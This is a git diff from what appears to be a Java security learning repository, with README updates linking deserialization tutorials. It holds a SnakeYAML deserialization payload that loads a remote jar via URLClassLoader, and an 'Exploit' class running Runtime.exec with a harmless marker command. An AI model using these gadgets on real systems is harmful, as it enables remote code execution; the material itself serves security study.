{ - - String context = "!!javax.script.ScriptEngineManager [\n" + - " !!java.net.URLClassLoader [[\n" + - " !!java.net.URL [\"http://127.0.0.1:7777/yaml-payload-master.jar\"]\n" + - " ]]\n" + - "]"; - Yaml yaml = new Yaml(new SafeConstructor()); - yaml.load(context); - } - -} +//package SnakeYamlFix; +// +//import org.yaml.snakeyaml.Yaml; +//import org.yaml.snakeyaml.constructor.SafeConstructor; +// +//public class SnakeYamlFix { +// public static void main(String[] args) { +// +// String context = "!!javax.script.ScriptEngineManager [\n" + +// " !!java.net.URLClassLoader [[\n" + +// " !!java.net.URL [\"http://127.0.0.1:7777/yaml-payload-master.jar\"]\n" + +// " ]]\n" + +// "]"; +// Yaml yaml = new Yaml(new SafeConstructor()); +// yaml.load(context); +// } +// +//} diff --git a/JavaSecurity/SnakeYaml/target/classes/AvailableGadgets/JndiConfigurationEXP.class b/JavaSecurity/SnakeYaml/target/classes/AvailableGadgets/JndiConfigurationEXP.class index 4bed0684..52290186 100644 Binary files a/JavaSecurity/SnakeYaml/target/classes/AvailableGadgets/JndiConfigurationEXP.class and b/JavaSecurity/SnakeYaml/target/classes/AvailableGadgets/JndiConfigurationEXP.class differ diff --git a/JavaSecurity/SnakeYaml/target/classes/AvailableGadgets/SpringPropertyPathFactoryBeanEXP.class b/JavaSecurity/SnakeYaml/target/classes/AvailableGadgets/SpringPropertyPathFactoryBeanEXP.class index 879340fe..a6cb0371 100644 Binary files a/JavaSecurity/SnakeYaml/target/classes/AvailableGadgets/SpringPropertyPathFactoryBeanEXP.class and b/JavaSecurity/SnakeYaml/target/classes/AvailableGadgets/SpringPropertyPathFactoryBeanEXP.class differ diff --git a/JavaSecurity/SnakeYaml/target/classes/BypassAnalyze/bypassBlackList.class b/JavaSecurity/SnakeYaml/target/classes/BypassAnalyze/bypassBlackList.class new file mode 100644 index 00000000..00bea030 Binary files /dev/null and b/JavaSecurity/SnakeYaml/target/classes/BypassAnalyze/bypassBlackList.class differ diff --git a/JavaSecurity/SnakeYaml/target/classes/BypassAnalyze/bypassTest.class b/JavaSecurity/SnakeYaml/target/classes/BypassAnalyze/bypassTest.class new file mode 100644 index 00000000..9730813a Binary files /dev/null and b/JavaSecurity/SnakeYaml/target/classes/BypassAnalyze/bypassTest.class differ diff --git a/JavaSecurity/SnakeYaml/target/classes/BypassAnalyze/tag.class b/JavaSecurity/SnakeYaml/target/classes/BypassAnalyze/tag.class new file mode 100644 index 00000000..e44dae40 Binary files /dev/null and b/JavaSecurity/SnakeYaml/target/classes/BypassAnalyze/tag.class differ diff --git a/JavaSecurity/SnakeYaml/target/classes/SnakeYamlFix/SnakeYamlFix.class b/JavaSecurity/SnakeYaml/target/classes/SnakeYamlFix/SnakeYamlFix.class deleted file mode 100644 index 57e4ba35..00000000 Binary files a/JavaSecurity/SnakeYaml/target/classes/SnakeYamlFix/SnakeYamlFix.class and /dev/null differ diff --git "a/JavaSecurity/345円217円215円345円272円217円345円210円227円345円214円226円345円237円272円347円241円200円/Reappearance/Serialable/Serialable.iml" "b/JavaSecurity/345円217円215円345円272円217円345円210円227円345円214円226円345円237円272円347円241円200円/Reappearance/Serialable/Serialable.iml" new file mode 100644 index 00000000..b107a2dd --- /dev/null +++ "b/JavaSecurity/345円217円215円345円272円217円345円210円227円345円214円226円345円237円272円347円241円200円/Reappearance/Serialable/Serialable.iml" @@ -0,0 +1,11 @@ + + + + + + + + + + + \ No newline at end of file diff --git "a/JavaSecurity/345円217円215円345円272円217円345円210円227円345円214円226円345円237円272円347円241円200円/Reappearance/Serialable/src/DynamicClassLoader/URLClassLoader/Calc.java" "b/JavaSecurity/345円217円215円345円272円217円345円210円227円345円214円226円345円237円272円347円241円200円/Reappearance/Serialable/src/DynamicClassLoader/URLClassLoader/Exploit.java" similarity index 88% rename from "JavaSecurity/345円217円215円345円272円217円345円210円227円345円214円226円345円237円272円347円241円200円/Reappearance/Serialable/src/DynamicClassLoader/URLClassLoader/Calc.java" rename to "JavaSecurity/345円217円215円345円272円217円345円210円227円345円214円226円345円237円272円347円241円200円/Reappearance/Serialable/src/DynamicClassLoader/URLClassLoader/Exploit.java" index e2742391..b987db64 100644 --- "a/JavaSecurity/345円217円215円345円272円217円345円210円227円345円214円226円345円237円272円347円241円200円/Reappearance/Serialable/src/DynamicClassLoader/URLClassLoader/Calc.java" +++ "b/JavaSecurity/345円217円215円345円272円217円345円210円227円345円214円226円345円237円272円347円241円200円/Reappearance/Serialable/src/DynamicClassLoader/URLClassLoader/Exploit.java" @@ -9,10 +9,10 @@ import java.io.IOException; // 弹计算器的万能类 -public class Calc extends AbstractTranslet { +public class Exploit extends AbstractTranslet { static { try { - Runtime.getRuntime().exec("calc"); + Runtime.getRuntime().exec("touch /tmp/success"); } catch (IOException e){ e.printStackTrace(); } diff --git "a/JavaSecurity/345円217円215円345円272円217円345円210円227円345円214円226円345円237円272円347円241円200円/Reappearance/out/production/Reappearance/src/DynamicClassLoader/ClassLoaderPackage/Person.class" "b/JavaSecurity/345円217円215円345円272円217円345円210円227円345円214円226円345円237円272円347円241円200円/Reappearance/out/production/Reappearance/src/DynamicClassLoader/ClassLoaderPackage/Person.class" index 3ef31682..c8abe001 100644 Binary files "a/JavaSecurity/345円217円215円345円272円217円345円210円227円345円214円226円345円237円272円347円241円200円/Reappearance/out/production/Reappearance/src/DynamicClassLoader/ClassLoaderPackage/Person.class" and "b/JavaSecurity/345円217円215円345円272円217円345円210円227円345円214円226円345円237円272円347円241円200円/Reappearance/out/production/Reappearance/src/DynamicClassLoader/ClassLoaderPackage/Person.class" differ diff --git "a/JavaSecurity/345円217円215円345円272円217円345円210円227円345円214円226円345円237円272円347円241円200円/Reappearance/out/production/Reappearance/src/DynamicClassLoader/URLClassLoader/Calc.class" "b/JavaSecurity/345円217円215円345円272円217円345円210円227円345円214円226円345円237円272円347円241円200円/Reappearance/out/production/Reappearance/src/DynamicClassLoader/URLClassLoader/Exploit.class" similarity index 60% rename from "JavaSecurity/345円217円215円345円272円217円345円210円227円345円214円226円345円237円272円347円241円200円/Reappearance/out/production/Reappearance/src/DynamicClassLoader/URLClassLoader/Calc.class" rename to "JavaSecurity/345円217円215円345円272円217円345円210円227円345円214円226円345円237円272円347円241円200円/Reappearance/out/production/Reappearance/src/DynamicClassLoader/URLClassLoader/Exploit.class" index e4f67258..c5e7562e 100644 Binary files "a/JavaSecurity/345円217円215円345円272円217円345円210円227円345円214円226円345円237円272円347円241円200円/Reappearance/out/production/Reappearance/src/DynamicClassLoader/URLClassLoader/Calc.class" and "b/JavaSecurity/345円217円215円345円272円217円345円210円227円345円214円226円345円237円272円347円241円200円/Reappearance/out/production/Reappearance/src/DynamicClassLoader/URLClassLoader/Exploit.class" differ diff --git "a/JavaSecurity/345円217円215円345円272円217円345円210円227円345円214円226円345円237円272円347円241円200円/Reappearance/out/production/Reappearance/src/IOStream/GetFileInfo.class" "b/JavaSecurity/345円217円215円345円272円217円345円210円227円345円214円226円345円237円272円347円241円200円/Reappearance/out/production/Reappearance/src/IOStream/GetFileInfo.class" index b55ed294..db1bc65d 100644 Binary files "a/JavaSecurity/345円217円215円345円272円217円345円210円227円345円214円226円345円237円272円347円241円200円/Reappearance/out/production/Reappearance/src/IOStream/GetFileInfo.class" and "b/JavaSecurity/345円217円215円345円272円217円345円210円227円345円214円226円345円237円272円347円241円200円/Reappearance/out/production/Reappearance/src/IOStream/GetFileInfo.class" differ diff --git "a/JavaSecurity/345円217円215円345円272円217円345円210円227円345円214円226円345円237円272円347円241円200円/Reappearance/out/production/Reappearance/src/JdkProxy/DynamicProxy/UserProxyInvocationHandler.class" "b/JavaSecurity/345円217円215円345円272円217円345円210円227円345円214円226円345円237円272円347円241円200円/Reappearance/out/production/Reappearance/src/JdkProxy/DynamicProxy/UserProxyInvocationHandler.class" index f751bff8..5634f91e 100644 Binary files "a/JavaSecurity/345円217円215円345円272円217円345円210円227円345円214円226円345円237円272円347円241円200円/Reappearance/out/production/Reappearance/src/JdkProxy/DynamicProxy/UserProxyInvocationHandler.class" and "b/JavaSecurity/345円217円215円345円272円217円345円210円227円345円214円226円345円237円272円347円241円200円/Reappearance/out/production/Reappearance/src/JdkProxy/DynamicProxy/UserProxyInvocationHandler.class" differ diff --git "a/JavaSecurity/345円217円215円345円272円217円345円210円227円345円214円226円345円237円272円347円241円200円/Reappearance/out/production/Reappearance/src/JdkProxy/DynamicProxy/UserServiceImpl.class" "b/JavaSecurity/345円217円215円345円272円217円345円210円227円345円214円226円345円237円272円347円241円200円/Reappearance/out/production/Reappearance/src/JdkProxy/DynamicProxy/UserServiceImpl.class" index 57b4c457..863133a7 100644 Binary files "a/JavaSecurity/345円217円215円345円272円217円345円210円227円345円214円226円345円237円272円347円241円200円/Reappearance/out/production/Reappearance/src/JdkProxy/DynamicProxy/UserServiceImpl.class" and "b/JavaSecurity/345円217円215円345円272円217円345円210円227円345円214円226円345円237円272円347円241円200円/Reappearance/out/production/Reappearance/src/JdkProxy/DynamicProxy/UserServiceImpl.class" differ diff --git "a/JavaSecurity/345円217円215円345円272円217円345円210円227円345円214円226円345円237円272円347円241円200円/Reappearance/out/production/Reappearance/src/JdkProxy/MoreStaticProxy/UserServiceImpl.class" "b/JavaSecurity/345円217円215円345円272円217円345円210円227円345円214円226円345円237円272円347円241円200円/Reappearance/out/production/Reappearance/src/JdkProxy/MoreStaticProxy/UserServiceImpl.class" index 542832be..084abe8e 100644 Binary files "a/JavaSecurity/345円217円215円345円272円217円345円210円227円345円214円226円345円237円272円347円241円200円/Reappearance/out/production/Reappearance/src/JdkProxy/MoreStaticProxy/UserServiceImpl.class" and "b/JavaSecurity/345円217円215円345円272円217円345円210円227円345円214円226円345円237円272円347円241円200円/Reappearance/out/production/Reappearance/src/JdkProxy/MoreStaticProxy/UserServiceImpl.class" differ diff --git "a/JavaSecurity/345円217円215円345円272円217円345円210円227円345円214円226円345円237円272円347円241円200円/Reappearance/out/production/Reappearance/src/JdkProxy/MoreStaticProxy/UserServiceProxy.class" "b/JavaSecurity/345円217円215円345円272円217円345円210円227円345円214円226円345円237円272円347円241円200円/Reappearance/out/production/Reappearance/src/JdkProxy/MoreStaticProxy/UserServiceProxy.class" index de7f2fa0..c616ef77 100644 Binary files "a/JavaSecurity/345円217円215円345円272円217円345円210円227円345円214円226円345円237円272円347円241円200円/Reappearance/out/production/Reappearance/src/JdkProxy/MoreStaticProxy/UserServiceProxy.class" and "b/JavaSecurity/345円217円215円345円272円217円345円210円227円345円214円226円345円237円272円347円241円200円/Reappearance/out/production/Reappearance/src/JdkProxy/MoreStaticProxy/UserServiceProxy.class" differ diff --git "a/JavaSecurity/345円217円215円345円272円217円345円210円227円345円214円226円345円237円272円347円241円200円/Reappearance/out/production/Reappearance/src/JdkProxy/StaticProxy/Host.class" "b/JavaSecurity/345円217円215円345円272円217円345円210円227円345円214円226円345円237円272円347円241円200円/Reappearance/out/production/Reappearance/src/JdkProxy/StaticProxy/Host.class" index c970cc73..d5f4bfef 100644 Binary files "a/JavaSecurity/345円217円215円345円272円217円345円210円227円345円214円226円345円237円272円347円241円200円/Reappearance/out/production/Reappearance/src/JdkProxy/StaticProxy/Host.class" and "b/JavaSecurity/345円217円215円345円272円217円345円210円227円345円214円226円345円237円272円347円241円200円/Reappearance/out/production/Reappearance/src/JdkProxy/StaticProxy/Host.class" differ diff --git "a/JavaSecurity/345円217円215円345円272円217円345円210円227円345円214円226円345円237円272円347円241円200円/Reappearance/out/production/Reappearance/src/JdkProxy/StaticProxy/Proxy.class" "b/JavaSecurity/345円217円215円345円272円217円345円210円227円345円214円226円345円237円272円347円241円200円/Reappearance/out/production/Reappearance/src/JdkProxy/StaticProxy/Proxy.class" index 1b06beb7..cfb912d5 100644 Binary files "a/JavaSecurity/345円217円215円345円272円217円345円210円227円345円214円226円345円237円272円347円241円200円/Reappearance/out/production/Reappearance/src/JdkProxy/StaticProxy/Proxy.class" and "b/JavaSecurity/345円217円215円345円272円217円345円210円227円345円214円226円345円237円272円347円241円200円/Reappearance/out/production/Reappearance/src/JdkProxy/StaticProxy/Proxy.class" differ diff --git "a/JavaSecurity/345円217円215円345円272円217円345円210円227円345円214円226円345円237円272円347円241円200円/Reappearance/out/production/Reappearance/src/ReflectDemo/SeralizeDemo/Person.class" "b/JavaSecurity/345円217円215円345円272円217円345円210円227円345円214円226円345円237円272円347円241円200円/Reappearance/out/production/Reappearance/src/ReflectDemo/SeralizeDemo/Person.class" index 95e92047..ec67a9ec 100644 Binary files "a/JavaSecurity/345円217円215円345円272円217円345円210円227円345円214円226円345円237円272円347円241円200円/Reappearance/out/production/Reappearance/src/ReflectDemo/SeralizeDemo/Person.class" and "b/JavaSecurity/345円217円215円345円272円217円345円210円227円345円214円226円345円237円272円347円241円200円/Reappearance/out/production/Reappearance/src/ReflectDemo/SeralizeDemo/Person.class" differ diff --git "a/JavaSecurity/345円217円215円345円272円217円345円210円227円345円214円226円345円237円272円347円241円200円/Reappearance/out/production/Reappearance/src/ReflectDemo/SeralizeDemo/ReflectionTest02.class" "b/JavaSecurity/345円217円215円345円272円217円345円210円227円345円214円226円345円237円272円347円241円200円/Reappearance/out/production/Reappearance/src/ReflectDemo/SeralizeDemo/ReflectionTest02.class" index bfccc852..94202dbe 100644 Binary files "a/JavaSecurity/345円217円215円345円272円217円345円210円227円345円214円226円345円237円272円347円241円200円/Reappearance/out/production/Reappearance/src/ReflectDemo/SeralizeDemo/ReflectionTest02.class" and "b/JavaSecurity/345円217円215円345円272円217円345円210円227円345円214円226円345円237円272円347円241円200円/Reappearance/out/production/Reappearance/src/ReflectDemo/SeralizeDemo/ReflectionTest02.class" differ diff --git "a/JavaSecurity/345円217円215円345円272円217円345円210円227円345円214円226円345円237円272円347円241円200円/Reappearance/out/production/Reappearance/src/ReflectDemo/SeralizeDemo/ReflectionTest03.class" "b/JavaSecurity/345円217円215円345円272円217円345円210円227円345円214円226円345円237円272円347円241円200円/Reappearance/out/production/Reappearance/src/ReflectDemo/SeralizeDemo/ReflectionTest03.class" index 0808d2d9..ba9b56a2 100644 Binary files "a/JavaSecurity/345円217円215円345円272円217円345円210円227円345円214円226円345円237円272円347円241円200円/Reappearance/out/production/Reappearance/src/ReflectDemo/SeralizeDemo/ReflectionTest03.class" and "b/JavaSecurity/345円217円215円345円272円217円345円210円227円345円214円226円345円237円272円347円241円200円/Reappearance/out/production/Reappearance/src/ReflectDemo/SeralizeDemo/ReflectionTest03.class" differ diff --git "a/JavaSecurity/345円217円215円345円272円217円345円210円227円345円214円226円345円237円272円347円241円200円/Reappearance/out/production/Reappearance/src/ReflectDemo/SeralizeDemo/ReflectionTest04.class" "b/JavaSecurity/345円217円215円345円272円217円345円210円227円345円214円226円345円237円272円347円241円200円/Reappearance/out/production/Reappearance/src/ReflectDemo/SeralizeDemo/ReflectionTest04.class" index 932b9cfc..4e38c62e 100644 Binary files "a/JavaSecurity/345円217円215円345円272円217円345円210円227円345円214円226円345円237円272円347円241円200円/Reappearance/out/production/Reappearance/src/ReflectDemo/SeralizeDemo/ReflectionTest04.class" and "b/JavaSecurity/345円217円215円345円272円217円345円210円227円345円214円226円345円237円272円347円241円200円/Reappearance/out/production/Reappearance/src/ReflectDemo/SeralizeDemo/ReflectionTest04.class" differ diff --git "a/JavaSecurity/345円217円215円345円272円217円345円210円227円345円214円226円345円237円272円347円241円200円/Reappearance/out/production/Reappearance/src/ReflectDemo/SeralizeDemo/ReflectionTest05.class" "b/JavaSecurity/345円217円215円345円272円217円345円210円227円345円214円226円345円237円272円347円241円200円/Reappearance/out/production/Reappearance/src/ReflectDemo/SeralizeDemo/ReflectionTest05.class" index 1b3570c9..0928152e 100644 Binary files "a/JavaSecurity/345円217円215円345円272円217円345円210円227円345円214円226円345円237円272円347円241円200円/Reappearance/out/production/Reappearance/src/ReflectDemo/SeralizeDemo/ReflectionTest05.class" and "b/JavaSecurity/345円217円215円345円272円217円345円210円227円345円214円226円345円237円272円347円241円200円/Reappearance/out/production/Reappearance/src/ReflectDemo/SeralizeDemo/ReflectionTest05.class" differ diff --git "a/JavaSecurity/345円217円215円345円272円217円345円210円227円345円214円226円345円237円272円347円241円200円/Reappearance/out/production/Reappearance/src/ReflectDemo/SeralizeDemo/ReflectionTest06.class" "b/JavaSecurity/345円217円215円345円272円217円345円210円227円345円214円226円345円237円272円347円241円200円/Reappearance/out/production/Reappearance/src/ReflectDemo/SeralizeDemo/ReflectionTest06.class" index df92ab4e..b889bbc6 100644 Binary files "a/JavaSecurity/345円217円215円345円272円217円345円210円227円345円214円226円345円237円272円347円241円200円/Reappearance/out/production/Reappearance/src/ReflectDemo/SeralizeDemo/ReflectionTest06.class" and "b/JavaSecurity/345円217円215円345円272円217円345円210円227円345円214円226円345円237円272円347円241円200円/Reappearance/out/production/Reappearance/src/ReflectDemo/SeralizeDemo/ReflectionTest06.class" differ diff --git a/README.md b/README.md index 22e62cd0..cf91ebbc 100644 --- a/README.md +++ b/README.md @@ -1,16 +1,8 @@ -> 如果师傅们看到有好的文章,也欢迎 pr,一起分享在这个 repo 中 -> -> 详细项目代码在 JavaSecurity 文件夹中 - # JavaSecurityLearning -设计项目的初衷是为了让更多师傅在学习 Java 安全的时候能够有一条比较清晰的学习路线,而不是一头雾水的学,希望师傅们通过这个项目学习 Java 安全时有能够所收获。 - -项目文件夹中包含了部分用于漏洞调试的代码,对应文章记录在博客。 +项目的初衷是为了让更多师傅在学习 Java 安全的时候能够有一条比较清晰的学习路线,也希望师傅们通过这个项目学习 Java 安全时有能够所收获。 -## Ref: - - https://github.com/Y4tacker/JavaSec +项目文件夹中包含了部分用于漏洞调试的代码(如果有些东西自己搭建失败,可以复用仓库代码),对应文章记录在博客中。 ## 基础开发(是一定要学的) @@ -20,13 +12,13 @@ 学完这两个之后可以自己过一个小项目[【实战】基于SpringBoot+Vue开发的前后端分离博客项目完整教学](https://www.bilibili.com/video/BV1PQ4y1P7hZ?vd_source=a4eba559e280bf2f1aec770f740d0645) -- 学完这些内容最多花费两个月时间。 +- 学完这些内容最多花费两个月 推荐的 Java 基础,哪块不懂看哪块,[二倍速【狂神说Java】Java零基础学习视频通俗易懂](https://www.bilibili.com/video/BV12J41137hu?spm_id_from=333.337.search-card.all.click) ## Java 安全基础 -可以看b站白日梦组长的视频,讲的非常好 +可以看b站白日梦组长视频,讲的非常好。 - [Java反序列化漏洞专题-基础篇(21/09/05更新类加载部分)](https://www.bilibili.com/video/BV16h411z7o9?spm_id_from=333.788.top_right_bar_window_custom_collection.content.click) - [Java-IO流](https://drun1baby.github.io/2022/05/30/Java-IO流/) @@ -38,7 +30,7 @@ - [反弹shell学习 ———— 这里主要是为了 yso 的使用](https://drun1baby.github.io/2022/07/20/反弹shell学习/) - [Java 反弹 shell 与 Runtime.getRuntime().exec() 的故事](https://drun1baby.github.io/2022/10/12/Java-反弹-shell-与-Runtime-getRuntime-exec-的故事/) -一开始学还是会有点懵的,学到后面自然而然就会了 +一开始学还是会有点懵的,学到后面自然而然就会了。 ## Java 反序列化基础 @@ -73,6 +65,8 @@ CC 链部分结束,进入 shiro 部分,shiro 之前我们已经走过开发 - [Shiro550流程分析](https://drun1baby.github.io/2022/07/10/Java反序列化Shiro篇01-Shiro550流程分析/) - [02-Shiro721流程分析](https://drun1baby.top/2023/03/08/Java反序列化Shiro篇02-Shiro721流程分析/) +后面根据自己需求可以补 Shiro 权限绕过的部分。 + ## Java 反序列化进阶 - 这块是基础中的基础,但是也很难,要静下心来学的。 @@ -145,6 +139,8 @@ Springboot 文件上传 RCE https://github.com/LandGrey/spring-boot-upload-file- ## 查漏补缺 +- 其实链子没必要跟太多了,实战才是最重要的。 + [Java反序列化之C3P0链](https://drun1baby.github.io/2022/10/06/Java反序列化之C3P0链/) [Java OWASP 中的 XXE 代码审计](https://drun1baby.github.io/2022/09/16/Java-OWASP-中的-XXE-代码审计/) @@ -159,6 +155,8 @@ Springboot 文件上传 RCE https://github.com/LandGrey/spring-boot-upload-file- [Java反序列化Fastjson篇05-写给自己看的一些源码深入分析](https://drun1baby.github.io/2022/10/19/Java反序列化Fastjson篇05-写给自己看的一些源码深入分析/) +JS 引擎攻防 https://xz.aliyun.com/t/8697 + ## Struts2 系列漏洞 这块应该是目前学习的重点之一 @@ -175,6 +173,8 @@ Springboot 文件上传 RCE https://github.com/LandGrey/spring-boot-upload-file- [Jackson 反序列化(三)CVE-2017-17485](https://drun1baby.top/2023/12/07/Jackson-反序列化(三)CVE-2017-17485/) +Jackson 反序列化 —— https://boogipop.com/2023/06/20/Jackson%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%80%9A%E6%9D%80Web%E9%A2%98/ + ## Apache ### Apache DolphinScheduler @@ -187,6 +187,8 @@ https://y4tacker.github.io/2023/12/27/year/2023/12/Apache-OFBiz%E6%9C%AA%E6%8E%8 ## CodeQL +师傅可能在编译的时候还会遇到一些问题,然而新版本的 CodeQL 对于 Java 已经不需要编译了 + [CodeQL 入门](https://drun1baby.top/2023/09/03/CodeQL-%E5%85%A5%E9%97%A8/) [CodeQL 官方文档学习](https://drun1baby.top/2023/07/31/CodeQL-%E5%AD%A6%E4%B9%A0/) @@ -195,11 +197,10 @@ https://y4tacker.github.io/2023/12/27/year/2023/12/Apache-OFBiz%E6%9C%AA%E6%8E%8 ## 漏洞挖掘 +Tabby 的使用:https://github.com/wh1t3p1g/tabby - - - - +## 后记 +感觉现在 go 用的真的很多,java 系列可能暂时断更了,或许在不久的将来会出一个 golangSecurityLearning + +- 交流群 + +随着点 Star 的师傅越来越多,希望给师傅们提供一个交流的平台 +同时平常有一些师傅会加我好友问问题,问的人越来越多,于是决定建个群,也可以让师傅们在群里交流。(希望以后会写 golang 的 SecurityLearning) + +> 可加 VX DrunkbabySec + +![image](https://github.com/user-attachments/assets/3541e7fb-7ce1-419b-876d-cdc2a4207ad9) + + + + + + + + + + + +

AltStyle によって変換されたページ (->オリジナル) /